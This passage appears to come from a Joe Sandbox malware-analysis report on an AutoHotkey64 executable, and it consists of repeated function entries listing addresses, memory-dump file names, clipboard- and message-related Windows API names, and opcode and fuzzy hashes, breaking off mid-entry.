                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountMessageTick$ClipboardCloseGlobalPeekSendUnlock
                                                              • String ID:
                                                              • API String ID: 38145316-0
                                                              • Opcode ID: 4795d242ba0ca5feb9165d84f2f325bea4653545ffdef6961f00dc054c96eb3c
                                                              • Instruction ID: 10f2db81da7d7e4f53bde7e70f792ff48a649c2a412a301e9703bff1535b2d6b
                                                              • Opcode Fuzzy Hash: 4795d242ba0ca5feb9165d84f2f325bea4653545ffdef6961f00dc054c96eb3c
                                                              • Instruction Fuzzy Hash: 77A1B4B160464486F7668B27E4843E937E1F38D7E4F11022AFB59A76F6DB38C894C705
                                                              Function 0000000140040CBC Relevance: 9.2, APIs: 6, Instructions: 202windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$free$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 2285768414-0
                                                              • Opcode ID: eb65aa3bd2d997ae5ecf11a219bfe8edf25426f0f4bef3f129d42102e9d74664
                                                              • Instruction ID: c478140457f8324adbdb2e96dfcaa77a7b804ddb1dd4e27cef1e1fc7964437f3
                                                              • Opcode Fuzzy Hash: eb65aa3bd2d997ae5ecf11a219bfe8edf25426f0f4bef3f129d42102e9d74664
                                                              • Instruction Fuzzy Hash: 9FA19071600B4486FB668B27E8843E837A1F34DBE4F110226EB5963BF5DB38C490C705
                                                              Function 0000000140040C8E Relevance: 9.2, APIs: 6, Instructions: 201windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: ad7ecca772277652a96d01c5b9f12c95eda0ed5bafe172b0903e62919cf7b937
                                                              • Instruction ID: 66bead676b6f009f50451c58bee4f8e770145f22bee7c57c1bce2c2f35e9f53d
                                                              • Opcode Fuzzy Hash: ad7ecca772277652a96d01c5b9f12c95eda0ed5bafe172b0903e62919cf7b937
                                                              • Instruction Fuzzy Hash: 17A19071600B4486FB668B27E8843E837A1F34DBE4F11022AEB5963BF5DB38C490C705
                                                              Function 00000001400449AF Relevance: 9.2, APIs: 6, Instructions: 200windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock_errno_invalid_parameter_noinfo
                                                              • String ID:
                                                              • API String ID: 130734711-0
                                                              • Opcode ID: 6c957abbb577430c1bfefcd84d3d15b272f39ad487ffa8d58e1b07d1dccd1ea3
                                                              • Instruction ID: 9e50bc8602910e7ad827cdd4bdd584e280ac88baf21d06d4227ebacfe2534ae5
                                                              • Opcode Fuzzy Hash: 6c957abbb577430c1bfefcd84d3d15b272f39ad487ffa8d58e1b07d1dccd1ea3
                                                              • Instruction Fuzzy Hash: 9EA1D2B120068486F766CF27E8843E937A1F38DBE4F110226EB59676F2DB38C895C744
                                                              Function 00000001400452C1 Relevance: 9.2, APIs: 6, Instructions: 200windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: eeda11dcbffb4385379e4126e70b02b4f4d20a871f881e62c4bdb5ba7e03e964
                                                              • Instruction ID: 59de11102fbfa3c61fdc29bd96e473f10ac4577ce5df94776d87ae7f8fa15616
                                                              • Opcode Fuzzy Hash: eeda11dcbffb4385379e4126e70b02b4f4d20a871f881e62c4bdb5ba7e03e964
                                                              • Instruction Fuzzy Hash: D8A1B4B160464486FB668B27E4843E937A1F38DBE4F15022AFB5963BF6DB38C490C745
                                                              Function 0000000140045732 Relevance: 9.2, APIs: 6, Instructions: 200windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 6743d1120be18396e668ed32ecaedb796f86044b3353cfe6d84e8f0f7f659169
                                                              • Instruction ID: a6e3b79edad9b6c085aa3fb4574c6107971de9b7354db4e190b073cbf1fd12dd
                                                              • Opcode Fuzzy Hash: 6743d1120be18396e668ed32ecaedb796f86044b3353cfe6d84e8f0f7f659169
                                                              • Instruction Fuzzy Hash: E0A191B160464486F7668B27E4443E937A1F78DBE4F110226EB59A3BF6DB38C890C745
                                                              Function 0000000140043AC5 Relevance: 9.2, APIs: 6, Instructions: 200windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$MetricsSystemWindow$ClipboardCloseForegroundGlobalIconicMessagePeekRectUnlock
                                                              • String ID:
                                                              • API String ID: 565195155-0
                                                              • Opcode ID: d5376c92f6ab38788845c500e2a96ced26de30a2e703343732327425f9eaa718
                                                              • Instruction ID: 433ca97cabd935856339f70ab1046670045dce8847c1b5ddb33289428c6cac66
                                                              • Opcode Fuzzy Hash: d5376c92f6ab38788845c500e2a96ced26de30a2e703343732327425f9eaa718
                                                              • Instruction Fuzzy Hash: E5A1C3B160464486F7628B27E4443E937A1F38DBE4F110226FB5967BF6DB38C491C745
                                                              Function 0000000140044E7F Relevance: 9.2, APIs: 6, Instructions: 198windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 30f5fbede729a5a965568a17edbefb6d69b5da2238b6b4336af110425dfdfcd3
                                                              • Instruction ID: 7d6990891fd3375bb13475b4229180f52efc09150d132431ab0584767c4a26d6
                                                              • Opcode Fuzzy Hash: 30f5fbede729a5a965568a17edbefb6d69b5da2238b6b4336af110425dfdfcd3
                                                              • Instruction Fuzzy Hash: 2EA1B2B160464486F7668B27E4443E937A1F38DBE4F120226FB59A3BF6DB38C890C745
                                                              Function 00000001400431C3 Relevance: 9.2, APIs: 6, Instructions: 198windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: d3be52846ed59f2c8d0ce298015ec2cda8d1451f315c818fd4193533326b1bd4
                                                              • Instruction ID: 3861e2c9d581f779b23f27c0da4fdc8cc417e91c863f75a9d7d421d7d3a888c5
                                                              • Opcode Fuzzy Hash: d3be52846ed59f2c8d0ce298015ec2cda8d1451f315c818fd4193533326b1bd4
                                                              • Instruction Fuzzy Hash: 4AA1D3B160468486FB668B27E4443E937E1F38DBE4F110226EB5963BF6DB38C480C704
                                                              Function 000000014004521C Relevance: 9.2, APIs: 6, Instructions: 198windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 220000606b55a00b0fdd6f922d5804c444042ca9f0b81f3443d18cd0419db7ac
                                                              • Instruction ID: f6f8f6669352003365fcc3e99b33b38e9e1dbff4efbbea16d90c03c67370830b
                                                              • Opcode Fuzzy Hash: 220000606b55a00b0fdd6f922d5804c444042ca9f0b81f3443d18cd0419db7ac
                                                              • Instruction Fuzzy Hash: 02A1B4B160464486FB668B27E4843E937A1F38DBE4F110226FB5963BF6DB78C490C745
                                                              Function 000000014004413B Relevance: 9.2, APIs: 6, Instructions: 197windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Count$MenuTick$Item$ClipboardCloseGlobalMessagePeekSystemUnlock
                                                              • String ID:
                                                              • API String ID: 1587163017-0
                                                              • Opcode ID: c44168a0c375128a96c76f37ba4065139aaddc9c359a229c152312dac270bac8
                                                              • Instruction ID: 2cb61eae6ee085dbadfb136e8ddd0117e915ef017741733dcd91c3ef6c2a6e2e
                                                              • Opcode Fuzzy Hash: c44168a0c375128a96c76f37ba4065139aaddc9c359a229c152312dac270bac8
                                                              • Instruction Fuzzy Hash: 6BA160B1604B4486F7668B27E8843D937A1F74DBE4F11022AEB5963BF5DB38C490CB45
                                                              Function 0000000140043176 Relevance: 9.2, APIs: 6, Instructions: 196windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: e3f4e63cdbcd714937f13fa80d090d0cde0918867ca6b2af1c48e4167f2e9bdb
                                                              • Instruction ID: dcacb9d378426722920e6bb0cc42339e3c361c8f84d58222d2eed439cc5eb6b1
                                                              • Opcode Fuzzy Hash: e3f4e63cdbcd714937f13fa80d090d0cde0918867ca6b2af1c48e4167f2e9bdb
                                                              • Instruction Fuzzy Hash: 85A1C1B160468486FB628B27E4443E937E1F78DBE4F110226EB59A3BF6DB38C490C705
                                                              Function 0000000140045096 Relevance: 9.2, APIs: 6, Instructions: 195windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 65d74aeaa16cd5f36190b97ebebddbd722f9aee99372ae90aabdc9e1754c7043
                                                              • Instruction ID: 2f12b2770650ee8e69e5cd1c02e2e38d2b186162fcb287a20a36125e7b411be1
                                                              • Opcode Fuzzy Hash: 65d74aeaa16cd5f36190b97ebebddbd722f9aee99372ae90aabdc9e1754c7043
                                                              • Instruction Fuzzy Hash: 37A1C5B160464486FB668B27E4443E937E1F38DBE4F110226FB5963AF6DB38C491C745
                                                              Function 000000014004519E Relevance: 9.2, APIs: 6, Instructions: 195windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseDirectoryGlobalMessagePeekRemoveUnlock
                                                              • String ID:
                                                              • API String ID: 1863380684-0
                                                              • Opcode ID: 5b5b8bebe46c09e75493ec95e73ae3aa093305fc8adc33da96ec4d12c4076caa
                                                              • Instruction ID: 9f3d426bc3b7e78b8381ba750b468b08832b3e45fd2306d6d11be15f72f34720
                                                              • Opcode Fuzzy Hash: 5b5b8bebe46c09e75493ec95e73ae3aa093305fc8adc33da96ec4d12c4076caa
                                                              • Instruction Fuzzy Hash: C8A1D3B160464486F7668B27D4843E937A1F38DBE4F110226FB59637F6DB38C884C745
                                                              Function 0000000140044B8A Relevance: 9.2, APIs: 6, Instructions: 194windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 75be5e0e610f4e23b3553f3059b2d739fbe7638d79a1f05a475c0afa1fa9bb03
